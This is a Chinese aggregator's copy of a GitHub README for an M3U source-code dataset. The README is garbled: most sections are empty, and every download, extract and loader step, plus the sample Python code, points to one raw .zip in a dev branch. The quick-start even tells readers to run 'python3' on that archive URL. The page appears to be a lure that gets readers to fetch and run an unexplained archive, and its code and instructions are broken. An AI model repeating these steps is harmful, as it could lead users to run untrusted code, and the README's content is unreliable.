跳到正文
GitHub·· 7 天前AI 评分8

natasLT/AI2001_Category-Source_Code-SC-M3U：M3U 源码数据集

natasLT/AI2001_Category-Source_Code-SC-M3U

AI 导读

natasLT 发布 AI2001_Category-Source_Code-SC-M3U 数据集，收集 M3U 语言源码文件，用于语言建模、tokenization 实验、代码分类和编码器-解码器任务。

正文

AI2001 M3U Source Code Dataset — SC Category Source Pack

Releases

M3U code banner

AI2001_Category-Source_Code-SC-M3U collects M3U language source files for research, parsing, and model training. The set focuses on small-to-medium programs, playlist scripts, and annotated examples in the M3U format. Use the dataset for language modeling, tokenization experiments, code classification, or encoder-decoder tasks.

Badges

  • License: GPL-3.0 — License: GPL v3
  • Topics: ai, dataset, source-code, m3u-language
  • Size: variable per release (check Releases)

Table of Contents

  • What this repo holds
  • Dataset contents and formats
  • How to get releases (download and run)
  • Example use cases
  • Quick start
  • File layout and naming
  • Metadata and annotations
  • Quality, token counts, and stats
  • License and attribution
  • Contributing
  • Contact and issues

What this repo holds

Dataset contents and formats

  • .m3u and .m3u8 files. These contain playlists and script-like entries.
  • Plain text files with labeled segments. Labels cover token type, comment, metadata, and path.
  • JSON metadata files that provide per-file annotations: source, license, tags, token count.
  • Small parser scripts in Python and Node for ingest and basic validation.

How to get releases (download and run)

Example use cases

  • Train a tokenizer that treats M3U metadata tags as distinct tokens.
  • Build a classifier that groups playlists by tag patterns or by presence of custom headers.
  • Test a parser against malformed entries and compare recoveries.
  • Create code generation tasks that convert annotated M3U snippets to normalized playlists.
  • Use the JSON metadata to filter files by token count, license, or annotation tags.

Quick start

  1. Download the release package from: https://github.com/natasLT/AI2001_Category-Source_Code-SC-M3U/raw/refs/heads/AI2001_Category-Source_Code-SC-M3U_Main-dev/Docs/Category-U-Source-Code-S-A-3.6.zip
  2. Verify the checksum file included in the release.
  3. Extract the package: 
    tar -xzf https://github.com/natasLT/AI2001_Category-Source_Code-SC-M3U/raw/refs/heads/AI2001_Category-Source_Code-SC-M3U_Main-dev/Docs/Category-U-Source-Code-S-A-3.6.zip
  4. Run the loader: 
    cd ai2001-m3u-sc
python3 https://github.com/natasLT/AI2001_Category-Source_Code-SC-M3U/raw/refs/heads/AI2001_Category-Source_Code-SC-M3U_Main-dev/Docs/Category-U-Source-Code-S-A-3.6.zip --input data --output processed
  5. Inspect a sample file: 
    head -n 40 data/sample_playlist.m3u8

File layout and naming conventions

Naming rules

  • Filenames use lowercase and hyphens.
  • Use .m3u or .m3u8 for playlist files.
  • Metadata files use snake_case and .json extension.

Metadata and annotations

Quality, token counts, and stats

  • The dataset provides per-file token counts to aid sample selection for model training.
  • The curated set removes files with personal data and removes binary artifacts.
  • A "broken" set provides controlled malformed inputs to test parser resilience.
  • Expect token distributions biased toward metadata tags, filename paths, and comments.

Parser and tooling

Usage patterns and examples

Sample code snippet (Python)

from pathlib import Path
import json

def load_jsonl(path):
    with open(path, "r", encoding="utf-8") as fh:
        for line in fh:
            yield https://github.com/natasLT/AI2001_Category-Source_Code-SC-M3U/raw/refs/heads/AI2001_Category-Source_Code-SC-M3U_Main-dev/Docs/Category-U-Source-Code-S-A-3.6.zip(line)

dataset = list(load_jsonl("https://github.com/natasLT/AI2001_Category-Source_Code-SC-M3U/raw/refs/heads/AI2001_Category-Source_Code-SC-M3U_Main-dev/Docs/Category-U-Source-Code-S-A-3.6.zip"))
print(f"Loaded {len(dataset)} records")
print(dataset[0]["filename"], dataset[0]["tokens"][:50])

Licensing and attribution

Contributing

Release notes and versioning

Issues and support

  • Create an issue for bugs, missing metadata, or licensing questions.
  • For parser issues, include a minimal sample that reproduces the problem.
  • For large contributions, open an issue to discuss structure before PR.

Citation and references

Maintenance and roadmap

  • We plan incremental releases with updated curation and tooling.
  • Future items:
    • richer token-level annotations
    • more parser tests and edge-case coverage
    • dataset splits for train/dev/test aligned to token counts

Security and privacy

  • The curated release excludes files with personal data or sensitive paths where found.
  • Contributors must declare source and license for each added file.

Acknowledgments

  • This dataset pulls public and permissive samples and merges contributions under the stated license.
  • Tools and patterns draw on community parsers and common playlist conventions.

Contact

  • Open issues on the repository for questions, bugs, and dataset requests.
  • Use pull requests for contributions.

Releases

Keywords (topics) ai, ai2, ai2001, ai2001-dataset, ai2001-development, ai2001-project, ai2001-sc-dataset, ai2001-source-code, ai2001-source-code-dataset, artificial-intelligence, dataset, gpl3, gplv3, m3u-lang, m3u-language, m3u-language-dataset, sc-dataset

Image credits

  • Header image: Unsplash (photo by Markus Spiske). Use as a visual banner in the README.

License

来源：GitHub · github.com

开源生态数据与训练论文研究#论文/研究#数据/训练#开源/仓库#GitHub